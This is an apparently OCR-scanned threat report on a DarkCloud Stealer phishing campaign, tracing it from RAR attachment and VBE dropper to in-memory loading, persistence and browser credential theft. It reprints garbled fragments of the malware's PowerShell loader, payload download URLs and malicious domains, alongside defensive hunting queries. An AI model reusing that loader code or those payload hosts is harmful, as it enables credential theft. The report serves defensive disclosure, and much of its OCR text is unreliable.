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Executive Summary

CyberProof MDR analysts and Threat Hunters spotted a massive rise in DarkCloud stealers targeting financial
companies in August 2025, through phishing emails with malicious RAR attachments. The observed samples were
programmed to target windows users and programmed to steal login credentials from email clients, FTP clients and
data from browsers. Further review confirmed process injections seen into MSBuild.exe when EDR fired alert.
DarkCloud operators are also seen using DarkCloud loader embedded into a JPG file which is downloaded using
powershell in the attack chain. CyberProof Threat Intel analysts reviewed additional DarkCloud Stealer samples and
confirmed that this malware supports both FTP and SMTP protocols to exfiltrate stolen data back to attacker.

This article provides a detailed technical analysis of a DarkCloud Stealer attack, mapping out the entire kill chain from
the initial phishing email to data exfiltration. CyberProof’s researchers share this data publicly to inform the
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cybersecurity community, enable other organizations to defend against similar attacks, and contribute to the collective
knowledge necessary to combat evolving cyber threats.

Technical Details

CyberProof MDR analysts reviewed an EDR alert on mtstocom.exe which on further investigation confirmed on
malicious events attempting to steal browser data. Further review around the timeline helped us identify initial
dropper, malicious process injections, persistence techniques, outbound network connections etc which are
highlighted in the details below.

Threat hunters were able to confirm the infection started from the below RAR file received by the user through
phishing email.

¢ Name: Proof of Payment.rar
o Hash: 0ebc9f70eba3c50c2e6be8307f25e7ca572b1a26a1c37af00b22549f6e0a8129

Reviewing the timeline, it was confirmed that the user downloaded the attachment named “Proof of Payment.rar” and
launched the inner VBE file using wscript.exe.

¥ explorerexe created the file Proof of Payment.vbe which was originally downloaded from file:///C:/User

7 OUTLOOKEXE downloaded an email asttachment, Proof of Payment (002).ra

b DUTLOOKEXE downloaded an email attachment. Proof of Paymentrar

Fig. 1: Device timeline showing the download activty from user

¢ Name: Proof of Payment.vbe
¢ Hash: 90eefdabd6f33de3907 1d4bfd540654bfdc60bff3198d5637f82e10b0cabd01d

[0 Proof of Payment.vbe

SHA1 63523a24fc790bb0b8027fb0f1acc4736
cbf631f

90eefdabd6f33de39071d4bfd540654b
fdcb0bff3 198d5637f82e10b0cabd01d

CAUsers &ppData\Local\Tem

E
6b4306cbal7f_Proof of
Payment.rar.17f\Proof of Payment.vbe

Size 1822752

Mark of the web Internet

zone identifier

Mark of the web file:///C:fUse, AppData/lLoc

referrer url al/Microsoft/Windows/INetCache/Con
tent.Outloo” oof%200%
20Payment.rar

Signer Unknown

VirusTotal detection
ratio

Fig. 2: File information of Proof of Payment.vbe

Below is the process tree observed on execution of the VBE file:
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Fig. 3: Process tree showing the execution of VBS file initiating powershell.exe

This leads to decoding base64 content that has code to download an image file by filename universe-
1733359315202-8750.jpg (JPG File)

[SHA256: 89959ad7b1ac18bbd1e850f05ab0b5fce164596bce0f1f8aafb70ebd1bbcfo00] and a chunk of code
responsible for decrypting a .NET file from the JPG file as shown below.

Dskam%1bmNpbmcOWaRyYXdpbmculOmlBbWFwXTo6RnJvbVYNBcmYhbSgkcGxhc21pbml jKTskYmVkbmVBcz10ZXct T2 JgZWNBIENvEGXx1Y3Rpb25zLkd1
myyaWMuTGlzdF tCeXR1XTtmb3IoJHRocnVvdXQ9MDskdGhydW91dCAtbHOg Gpvdi5 jaWSnLkhlaWdodDskdGhydWS1dCsrKXtmb3 ToJGx 1Y3RvemS5]1
TA7JGx1Y3RvemS1IC1 sdCAkam91bmNpbmeuV21kdGg7 JGx1Y3RvemS 1Ky speyR2aXJOdNF saXplPSRgb3VuY21luZy SHZXROaXh1bCgkbGY jdGOybmls
HRocnVvdXQpOyRiZWRUZXRZLKFkZCgkdmlydHVhBGL6ZS55KT skYmVkbmVBcySBZGQo HZpenR1 YWxpemUuRyk 7 JGI1ZG51dHMUQWRKKCR2aXJBdWF s

XplLkIpfXB7JHIvc2Vib251PVtCaXRDb252ZXJBZXJd0 ] pUbS ludDMyKCRIZWRUZ XRZzLkd1dF Jhbmd 1KD| YWJhYnM9
GJ1Z2G51dHMuR2VBUmFuZ 2UoNCwkem9zZW vbmUpL 1RvOX JyY XkoKTskaHlkemOwe3 1 jaGUoWaNvbnZ len cmF1YWJz
S$55ZXBsYWN1KCdBJywnQCcpL 1J1cGxhY2UoJBANLCdBIyk 7 JHdvemxkbGY zczBnPT1BZDRSbkw1 SW1 0NV Base64 blob UtipaNV16
WEWMk 5tQ1RNek VEWHZaWGExRmS]aD1TYNZ0bUxuOUdiaTIHZHpWEWRZ eG1 MdWwy Y3 Y SMLK TMTJMImIEY z dCcpOyRt
WSraWwspPVtDb252ZXJ8XTo6RnJvbUIhcZUZNFNBcmluZygkaHlkem9Iwe31jaGUpOyRvb2d LbmVzZ XMOW Sromerrompozwogrmerwrromrol j pMb2 Fk

CREYWSraWSpKTskb3Z lemF jaGl1ldmV tZWSBPUAoJHdvemxkbGVzeywnJywnJywnJywnJywnMScs JZNhbGMnLCenlLCenl CdDO1xVe2Vye1 xQdW.)salWNe
G93bmxvYWRzXCesJ3dhemRpYWanLCdgeyesJzEnLCexJywnZ XR1 ZGVz JywnMics JycpOyRvb2d 1 bmVzZ XMuR2VBVHLwZ SgkdGVzdGF8aW9uK SSHZ XRN
XRob200JGVwaWdhc3RyaWF sKS5JbnZva2UoJHBzeWNob21vbmlzbSwkb3Z lemF jaGlldmV tZWS8KT skam%1bmNpbmcuRGlzcGIzZSgpOy RwbGF zbWly

WHuRGlzcG9zZSgp”
Sribonucleotide = "Sbuckie = 'VKFJ';Spayola = [System.Convert]::FromBase64String($buckie);Sepigastrial = [System.Te
t.Encoding] : :UTF8.GetString($payola) ;Sappeasive = '02xhc3NMaWlyYXJSMSS5Ib211° ;$impalsy = [System.Convert]::Frombase6

JPGT Stestation = [System.Text.Encoding]::UTF8.GetString(S$impalsy) ;Add-Type -AssemblyName System.Draw
phttps://archive org/download/funiverse-1733359315202-8758/universe-1733359315202-8758. jpg’ ; Shel
download URL [sy5Stem.Net . WebClient :Shellanodic. Headers. Add( ' User-Agent’, 'Mozilla/5.8' ) $reextended=Shellanodic.
ownloadData($spectroscopists) ;$handover=[byte[]](8x42, @x4D, 8x72, Ox6E, Bx37, Ox00, Ox00, 0x008, 6x08, Ox00, Ox36,
X808, BxB8, Bx88, Bx28, Ox08, BxB8, BxBB, Bx64, Bx88, 6x88, 6x68, Bx4D, Ax2F, Bx88, B8xB8, 6x81, 6x88, Bx18, Bx68, Bx
9, 9x00, Ox08, Ox008, Ox3C, Bx6E, Ox37, Ox80, OxC4, Ox0E, 0x808, 0x00, GxC4, Ox0E, Ox00, 0x00, 0x00, Ax00, 0x00, 0x00
@xB8, OxB8, Bx88, ©BxB88);Sbergander=-1;for(SPharLap=08;%PharLap -le $Sreextended.Length-Shandover.Length;$PharLap++){
Sunswayable=5true;for(Squartenylic=0;Squartenylic -1t Shandover.Length;$quartenylic++){if(Sreextended[$PharLap+$qua
tenylic] -ne $handover[$quartenylic]){Sunswayable=$looky;break}}if(Sunswayable){Sbergander=§PharLap;break}}if($berg
nder -eq -1){return};Soverappraisal=$reextended|$bergander. . ($reextended.Length-1)];$plasminic=New-Object I0.Memory
trggm:Soias?mi;.wwlTéS?verappr?ngl&a.SouzrangggisaléLT;gth?:S Code to decrypt a .NET file \IullE:’Sé'n:nnmq:[?ra:i
g.Bitmap] : :FromStream($plasminic) ;Sbednets=New-Object Collectior| ) but=@;Sthruout -1t $j
uncing.Height ; $thruout++) {for(S$lectorne=8;8lectorne -1t $jouncin from JPG file - DarkCloud re=Sjouncing.GetPixel

(5lectorne, Sthruout) ;$bednets.Add($virtualize.R) ;Sbednets. Add($y Loader tualize.B)}};$rosebon
=[BitConverter]::ToInt32(Sbednets.GetRange(8,4) . ToArray(),8);Srababs=5Sbednets.GetRange(4, Srosebone) . ToArray( ) ; $hydr
psyche=[Convert]: :ToBase64String(Srababs) .Replace("A", '@') .Replace( ‘@', 'A" ) Sworldless="==Ad4RnL SImNSUDZmZ TMkhDOZYW

Fig. 4: Base64 content containing download link and code to decrypt .NET file from JPG

IR
Fh}

Powershellcommand

Fig. 5: Downloaded JPG file has embedded DarkCloud Loader .NET DLL file

The PowerShell script parses through the JPG file, to locate the DarkCloud loader .NET DLL file using
[Reflection.Assembly]::Load() method and executes through Invoke() method.

Smankini = [convert]::frombase64string(3shydropsyche)

Soogeneses = [reflection.assembly]::load(Smankini)

Soverachievement = Sworldless, ", ", "", °", "1", J . "t "", "Ci\\Users\\Public\\Downloads\\", "wardian-®,
"js, "1%, "1°, "etudes", "2", *-

{($oogeneses.gettype( “"ClassLibraryl.Home")) .getmethed( "VAI")).invoke("", "==Ad4RnLS5ImNSUDZmZTMkhDOZYWYiNmY2QjZ5YzN
kVZNmBTMzEzXvZXa1Fnch9SbvNmLn9Gbi9GdzVmdvamLul2cv92Y512LvoDclgHa", “~, =", "7, =", "1"'"calc". ", T "Ci\\Users

» \\Public\\Downloads\\", “wardian™, “js", "1", "1°, "etudes”

$jouncing.dispose() Reversebase64

Splasminic.dispose()
}

Fig. 6: NET DLL DarkCloud loader

This .NET DLL DarkCloud loader module is responsible for downloading additional files and maintaining registry
persistence of JS file by copying it from another folder path

"C:\Windows\System32\cmd.exe" /C copy *.js
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"C:\Users\Public\Downloads\wardian.js"

The reverse base64 string above

==Ad4RnL5ImN5UDZmZTMkhDO2YWYiNmY20Q3jZ5YzMkV2NmBTMzEzXvZXalFnch9SbvNmLn9Gbi 9GdzVmdvxmLul2¢cv92Y512L1

decodes to

http://mycoosin.lovestoblog.com/arquivo 1310f7ed369f46bcbaf688d1l6£d596b9. txt

The downloaded file is the main payload code of DarkCloud stealer that runs in memory and injects code into
MSBuild.exe.

L

Fig. 7: Infected device’s timeline showing process hollowing

powershell.exe possibly injected code into
MSBuild.exe using SetThreadContext API

T1055: Process Injection | T1055.012: Process Hollowing J T1106: Native AP +1

Fig. 8: Device timeline events on abusing MSBuild.exe
The DarkCloud stealer then injects into mtstocom.exe which leads to attempt to access credentials from Chrome,

Edge.

The image below image shows the EDR alerts on these events:
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B R )

rtstocom rar srrevsed bromser wved parrwards fie Login Dsta

Fig. 9: Alert timeline capturing processes hollowing

wtstocom exe scomed browser saved passwords file Login Dot
tstocom exe scoessed browser web data file Web Data

Estocom exe mapped 3 memary region in the address space of chrome exe

was Medum  * Delected

Fig. 10: Alert timeline capturing credential access

The image below, shows DarkCloud also creates another persistence entry created under RUN key for
mtstocom.exe.:

software) Microsolt| Windows \CurrentVer sion \Run

otrware’ Microsoft| Windows| Currentiersion\un

mma Medsum

Fig. 11: Alert timeline capturing persistence by dropping process under Run key, to run on every user login
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™ ¥ X

mistocom.exe set registry Windows run
specified command on each user login

T1547.001: Registry Run Keys / Startup Folder T1112: Modify Registry

Event info

Event

mtstocom.exe set registry Windows run specified command on each user
login

Event time Action type
Aug 14, 2025 231:19 PM AsepByRegistry

User Mitre Techniques

2

Fig. 12: Setting registry value to execute on every login
Persistence and Masquerading Attempts

Below we see another persistence by the DarkCloud stealer where it creates a new process with a different name.

™ b X

explorer.exe created process M3hdOpf.exe
with a different PE original file name
MSBuild.exe

T1036.005: Match Legitimate Resource Name or Location

Event info

Event

explorer.exe created process M3hdOpf.exe with a different PE original file
name MSBuild.exe

Fig. 13: Device timeline event showcasing masquerading msbuild.exe
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Ky hive KCEY_CURRENT_USER

Walue nams FDOLESD

Set value data Appliata\RosmingWindows Multimedia Platéomipa IhdOpt s
Original value data  <emply»

Mitze techniques

Referenced file

(3 M3hdopfexe

uhimedia Platfon

Creation time
Last modified time

PE metadata Y MihdOptexe

Oviginal name

Campilation
timestamp

Companmy
Product
Version

Desaiiplion

Fig. 14: Setting value in registry run key to execute the masqueraded process M3hdOpf.exe on every user login

Here, the file *C:\Users\<user>\AppData\Roaming\Windows Multimedia Platform\M3hdOpf.exe’ was
dropped in Run folder which supposedly launches the msbuild.exe.

Immediately following, we see multiple connection attempts (DGA domains) towards the following domains from
explorer.exe:

¢ Blurjbxy[.]Jshop

o dmetis[.]xyz

¢ rangersorangel.]click

¢ financialsecured[.]xyz
o twenty777[.]Jshop

¢ raiderrob].]info

¢ olinsautodiagnosis[.]net
o wizwig[.]biz

Data wa orer.exe i Mic \Windo and transferred ove
Dat. staged by explorer.exe i ming\Mic fin " and transferred over the neb
ged by 1 G p J\Mic wWindc and transferre: er the netwe
Data was staged by explorer.exe i ng\Microsoft\Windo * and transferred over the network
xplorer.exe in 5 P ng\ window:  and transferred over the net
I Data was s 1 ' Vi nt' and transferre er the netwe
Data was e in 'CA Windo and transferre: er the network to 2
over the r
and transferre: the netwc
transferred over the network
ras staged by explorer.exe i \ppDs toaming\Mi cent’ and transferred over the netwe
! Datawa d by lor 2 in 'C) \ppD aming\M " and transferred over the netwe

«)  Datawa d by e 1 'C \ppDx Ing\Mic \Window: and transferre:

= Dat xplorer.exe in aming\Micro \Windor " and transferred over the ne 104.15.18:443

Fig. 15: Stolen data being sent to remote IPs

Hunting Queries

7/10



DeviceFileEvents

| where (FileName endswith ".vbe" or FileMame endswith ".js" or FileName endswith
".vbs")

| where ActionType == "FileCreated” and FolderPath contains "AppData\iLocal\\Temp"
and FileOriginReferrerUrl contains "Content.Outlook"

DeviceEvents

| where FolderPath contains "AppDatat\Local\\Microsoft\\Edge\WUser
DataviDefault\\Login Data” or FolderPath contains
"AppData\\LocalWGoogle\wWChrome\WUser Data\\Default\WLogin Data™

| where InitiatingProcessFileName !contains "msedge.exe" and
InitiatingProcessFileMame !="" and InitiatingProcessFileName !contains "chrome.exe”

Fig. 16: Query to detect execution of vbe or vbs or js files from Outlook and Query to detect credential access from
known browsers

The image here, shows testing the queries for reference:

Fig. 17: Results from running the query in advanced hunting

Indicators of Compromise

¢ https://archive.org/download/universe-1733359315202-8750/universe-1733359315202-8750.jpg
¢ http://mycoosin.lovestoblog.com/arquivo_1310f7ed369f46bcbaf688d16fd596b9.txt

¢ http://mycoosin.lovestoblog.com/arquivo_dd5cdfb7a64340d5940293c44c77ca50.txt
¢ 0ebc9f70eba3c50c2e6be8307f25e7ca572b1a26a1c37af00b22549f6e0a8129

¢ 90eefdabd6f33de39071d4bfd540654bfdc60bff3198d5637f82e10b0cabd01d

o 1c783f0af613a3d9348f28b423ade921f447999466bea03a239a928bd8d9185b

e 00a6514aa511bad22c929c876f1b5ee08302b4fac957e571bb9761466baa7379

¢ 0101d1ebf0088a408calfcc701579370cb4ac66cc96abd01bc3eb52aae0b42b1

¢ 010e4f3487ae60e521e22671b7f521ea041a5a565da120cef4b6be8473ae15eb

e 0379146bc338ff3507663b7f56b0f581a012a200cbedb8baa7d7b217557e1375

* 05868e17e1e731e70542a216fc66a038ee51fa43766412de82ac8a401b654213

e 06413d9c3b99e52698ecdad7bc10d76b8532d7d84484b83c73e57fdb5e5213f9

e 09833a745d4ead4744721fd53efbab75a5527ecdc3b6dfafc81847b759a8e9614

e 0a52fc5b3eb4df75a126772127144cc7000e0b227cc6264f40db6715103833be3

¢ 0c3ef02c70abf8d19178606a7e1d6268cbef5276ad5ac8ba80206703dd0d5301

Recommendations

Security teams should be vigilant for the specific indicators and behaviors detailed above to detect and mitigate this
attack.
Here’s what to look for:

Initial Access and Delivery
+ Malicious Attachments: Watch for emails with RAR attachments, especially those with suspicious file names

like “Proof of Payment.rar.”
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« VBE/VBS/JS File Execution: Monitor for the execution of VBScript (.vbs), VBE (.vbe), or JavaScript (.js) files,
particularly if they are launched from temporary folders or Outlook’s content folder.

Execution and Persistence

¢ Process Injection: Review EDR alerts related to process injection which is typical in case of infostealers.

¢ Suspicious Outbound Connections: Block outbound connections to suspicious TLDs like .shop, .xyz, info,
.net etc. These are typically seen in infostealer campaigns. We advice you to check for the source file context
that leads to such outbound connections.

Data Exfiltration

¢ Credential Access: Use the provided hunting queries to detect processes other than msedge.exe or
chrome.exe attempting to access browser login data files (Login Data). This is a strong sign of credential theft.
« Stay Ahead: Keep your CTI feeds and hunting queries updated to stay ahead of commodity malware attacks.

Conclusions

In conclusion, this in-depth analysis of the DarkCloud Stealer attack provides a critical look into the evolving tactics of
cybercriminals. By detailing the malware’s sophisticated techniques — from its initial delivery via malicious RAR
attachments to its use of process injection and data exfiltration — we hope to equip organizations with the knowledge
needed to strengthen their defenses.

Sharing these insights, including the Indicators of Compromise and hunting queries, is a vital step in fostering a more
resilient and collaborative cybersecurity community, enabling us all to better anticipate and neutralize future threats.
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#-#Used to track user’s interaction with embedded content.

__Secure-ROLLOUT_TOKENPending

Maximum Storage Duration: 180 daysType: HTTP Cookie

__Secure-YECStores the user's video player preferences using embedded YouTube video
iU5q-109@$Registers a unique ID to keep statistics of what videos from YouTube the user has seen.
LAST_RESULT_ENTRY_KEYUsed to track user’s interaction with embedded content.
LogsDatabaseV2:V#||LogsRequestsStoreUsed to track user’s interaction with embedded content.

remote_sidNecessary for the implementation and functionality of YouTube video-content on the website.
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ServiceWorkerLogsDatabase#SWHealthLogNecessary for the implementation and functionality of YouTube video-
content on the website.

TESTCOOKIESENABLEDUSsed to track user’s interaction with embedded content.
VISITOR_INFO1_LIVEPending

Maximum Storage Duration: 180 daysType: HTTP Cookie

YSCPending

Maximum Storage Duration: SessionType: HTTP Cookie

ytidb::LAST_RESULT_ENTRY_KEYUsed to track user’s interaction with embedded content.
YtildbMeta#databasesUsed to track user’s interaction with embedded content.
yt-remote-cast-availableStores the user's video player preferences using embedded YouTube video
yt-remote-cast-installedStores the user's video player preferences using embedded YouTube video
yt-remote-connected-devicesStores the user's video player preferences using embedded YouTube video
yt-remote-device-idStores the user's video player preferences using embedded YouTube video
yt-remote-fast-check-periodStores the user's video player preferences using embedded YouTube video
yt-remote-session-appStores the user's video player preferences using embedded YouTube video
yt-remote-session-nameStores the user's video player preferences using embedded YouTube video

_6senseCompanyDetailsUsed in context with Account-Based-Marketing (ABM). The cookie registers data such as
IP-addresses, time spent on the website and page requests for the visit. This is used for retargeting of multiple users
rooting from the same IP-addresses. ABM usually facilitates B2B marketing purposes.

_an_uidPresents the user with relevant content and advertisement. The service is provided by third-party
advertisement hubs, which facilitate real-time bidding for advertisers.

_gd_sessionCollects visitor data related to the user's visits to the website, such as the number of visits, average time
spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.

_gd_visitorCollects visitor data related to the user's visits to the website, such as the number of visits, average time
spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
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